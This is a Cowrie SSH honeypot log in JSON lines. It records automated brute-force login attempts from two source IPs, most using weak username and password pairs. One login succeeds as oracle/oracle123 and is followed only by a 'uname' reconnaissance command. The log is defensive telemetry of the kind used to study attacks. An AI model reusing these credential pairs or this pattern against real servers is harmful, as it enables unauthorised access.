{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:17.714334Z","src_ip":"91.92.42.133","session":"f72cd552b401","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:17.726469Z","src_ip":"91.92.42.133","session":"f72cd552b401","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"1234","message":"login attempt [alex/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:18.347600Z","src_ip":"91.92.42.133","session":"f72cd552b401","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:19.456670Z","src_ip":"91.92.42.133","session":"f72cd552b401","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43500,"dst_ip":"159.203.135.109","dst_port":22,"session":"515218ae4ac0","protocol":"ssh","message":"New connection: 91.92.42.133:43500 (159.203.135.109:22) [session: 515218ae4ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:24.964376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:25.128054Z","src_ip":"91.92.42.133","session":"515218ae4ac0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:25.131140Z","src_ip":"91.92.42.133","session":"515218ae4ac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:26.341226Z","src_ip":"91.92.42.133","session":"515218ae4ac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:27.762562Z","src_ip":"91.92.42.133","session":"515218ae4ac0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43522,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f10edca3788","protocol":"ssh","message":"New connection: 91.92.42.133:43522 (159.203.135.109:22) [session: 1f10edca3788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:32.601897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:32.756953Z","src_ip":"91.92.42.133","session":"1f10edca3788","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:32.758916Z","src_ip":"91.92.42.133","session":"1f10edca3788","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"12345678","message":"login attempt [deployer/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:33.336982Z","src_ip":"91.92.42.133","session":"1f10edca3788","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:34.424645Z","src_ip":"91.92.42.133","session":"1f10edca3788","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":59770,"dst_ip":"159.203.135.109","dst_port":22,"session":"c14768572174","protocol":"ssh","message":"New connection: 91.92.42.133:59770 (159.203.135.109:22) [session: c14768572174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:39.780403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:40.013359Z","src_ip":"91.92.42.133","session":"c14768572174","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:40.016555Z","src_ip":"91.92.42.133","session":"c14768572174","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123","message":"login attempt [testuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:40.664937Z","src_ip":"91.92.42.133","session":"c14768572174","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:42.100969Z","src_ip":"91.92.42.133","session":"c14768572174","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":47252,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e6b16c52c1c","protocol":"ssh","message":"New connection: 91.92.42.133:47252 (159.203.135.109:22) [session: 5e6b16c52c1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:47.867160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:47.942073Z","src_ip":"91.92.42.133","session":"5e6b16c52c1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:48.057385Z","src_ip":"91.92.42.133","session":"5e6b16c52c1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lin","password":"123456","message":"login attempt [lin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:49.024206Z","src_ip":"91.92.42.133","session":"5e6b16c52c1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:50.133945Z","src_ip":"91.92.42.133","session":"5e6b16c52c1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38946,"dst_ip":"159.203.135.109","dst_port":22,"session":"890042ab11c1","protocol":"ssh","message":"New connection: 91.92.42.133:38946 (159.203.135.109:22) [session: 890042ab11c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:55.015088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:55.512232Z","src_ip":"91.92.42.133","session":"890042ab11c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:55.515110Z","src_ip":"91.92.42.133","session":"890042ab11c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qwerty","message":"login attempt [deploy/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:56.920358Z","src_ip":"91.92.42.133","session":"890042ab11c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":54887,"dst_ip":"159.203.135.109","dst_port":22,"session":"04e947e23aae","protocol":"ssh","message":"New connection: 112.216.108.62:54887 (159.203.135.109:22) [session: 04e947e23aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:57.237957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:57.244957Z","src_ip":"112.216.108.62","session":"04e947e23aae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:57.442809Z","src_ip":"112.216.108.62","session":"04e947e23aae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:58.258850Z","src_ip":"91.92.42.133","session":"890042ab11c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo2026","message":"login attempt [odoo/odoo2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:58.267390Z","src_ip":"112.216.108.62","session":"04e947e23aae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:07:59.469193Z","src_ip":"112.216.108.62","session":"04e947e23aae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":39012,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5ab73ebdf6d","protocol":"ssh","message":"New connection: 91.92.42.133:39012 (159.203.135.109:22) [session: c5ab73ebdf6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:02.384081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:02.558834Z","src_ip":"91.92.42.133","session":"c5ab73ebdf6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:02.563014Z","src_ip":"91.92.42.133","session":"c5ab73ebdf6d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:04.366153Z","src_ip":"91.92.42.133","session":"c5ab73ebdf6d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:05.069330Z","src_ip":"91.92.42.133","session":"c5ab73ebdf6d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:05.072642Z","src_ip":"91.92.42.133","session":"c5ab73ebdf6d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:05.405816Z","src_ip":"91.92.42.133","session":"c5ab73ebdf6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:05.412809Z","src_ip":"91.92.42.133","session":"c5ab73ebdf6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":39174,"dst_ip":"159.203.135.109","dst_port":22,"session":"680b10401f1c","protocol":"ssh","message":"New connection: 91.92.42.133:39174 (159.203.135.109:22) [session: 680b10401f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:08.963537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:08:09.350884Z","src_ip":"91.92.42.133","session":"680b10401f1c","protocol":"ssh"}
